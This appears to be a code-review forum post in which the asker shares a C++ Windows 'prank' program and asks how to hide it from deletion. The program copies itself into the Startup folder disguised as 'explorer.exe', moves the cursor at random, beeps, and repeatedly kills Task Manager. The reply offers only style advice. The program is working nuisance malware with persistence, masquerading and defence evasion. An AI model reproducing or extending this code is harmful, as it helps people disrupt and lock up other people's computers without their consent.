"Silly program" for moving the mouse and doing other things I've made a simple program that moves the mouse and do other silly stuff. I want you to look at it and tell me what can I do better/less space and also what can I add. I want to prank my friends.

#include &lt;cstdio&gt;
#include &lt;windows.h&gt;
#include &lt;conio.h&gt;
#include &lt;tlhelp32.h&gt;
#include &lt;iostream&gt;
#include &lt;time.h&gt;
#include &lt;string&gt;
#include &lt;shlobj.h&gt;
#include &lt;string.h&gt;

using namespace std;

void killProcess(const char *processName);
void mainFrame();

int main()
{
    char lpszPath[MAX_PATH];
    SHGetSpecialFolderPath(NULL, lpszPath, CSIDL_STARTUP, false);
    /* ^ find startup folder path ^ */

    char fullPath[500];
    char const *copyName = "\\explorer.exe";
    strcpy(fullPath, lpszPath);
    strcat(fullPath, copyName);
    /* ^ add filename to the startup path (for copying) ^ */

    char fileName[ MAX_PATH ];
    GetModuleFileName(NULL, fileName, MAX_PATH);
    /* ^ find the path of running program itself ^ */

    CopyFile(fileName, fullPath, 0);
    /* ^ copy the program itself to startup ^ */

    //FreeConsole();
    /* ^ hide the console window ^ */
    srand(time(NULL));
    mainFrame();
}

void mainFrame()
{
    int mouseX, mouseY; char key;
    while(key!='e') /* you can close the program with 'e' (if window not hidden) */
    {
        while(!kbhit())
        {
            mouseX= rand() % 1440; mouseY= rand() % 900;

            SetCursorPos(mouseX, mouseY);
            Beep(12000, 100);

            killProcess("taskmgr.exe");
            /* ^ kill task manager if running ^ */
        }
        key= getch();
        /* ^ get the character from keyboard ^ */
    }
}

//code below is not mine (killing a process):
void killProcess(const char *processName)
{
    HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
    PROCESSENTRY32 pEntry;
    pEntry.dwSize = sizeof (pEntry);
    BOOL hRes = Process32First(hSnapShot, &amp;pEntry);
    while (hRes)
    {
        if (strcmp(pEntry.szExeFile, processName) == 0)
        {
            HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0,
                                          (DWORD) pEntry.th32ProcessID);
            if (hProcess != NULL)
            {
                TerminateProcess(hProcess, 9);
                CloseHandle(hProcess);
            }
        }
        hRes = Process32Next(hSnapShot, &amp;pEntry);
    }
    CloseHandle(hSnapShot);
}


I know that it's easy to get rid of: just open cmd, navigate to startup, delete the file and reboot. When I give hidden and system attributes to the file it doesn't launch at startup. Is there a way to block the user from deleting/seeing it?
Please do not use using namespace std (read this).

Convert magic numbers like 1440 and 900 to global constants with meaningful names. I would do the same for string literals like \\explorer.exe and taskmgr.exe, but maybe that's just me

Your formatting is not consistent. Sometimes you assign variables like pEntry.dwSize = ..., with spaces around =, and sometimes like mouseX= , space only on one side. I suggest to put spaces on both sides, and to be consistent about it.

I would put these two assignments on separate lines for clarity:

mouseX= rand() % 1440; mouseY= rand() % 900;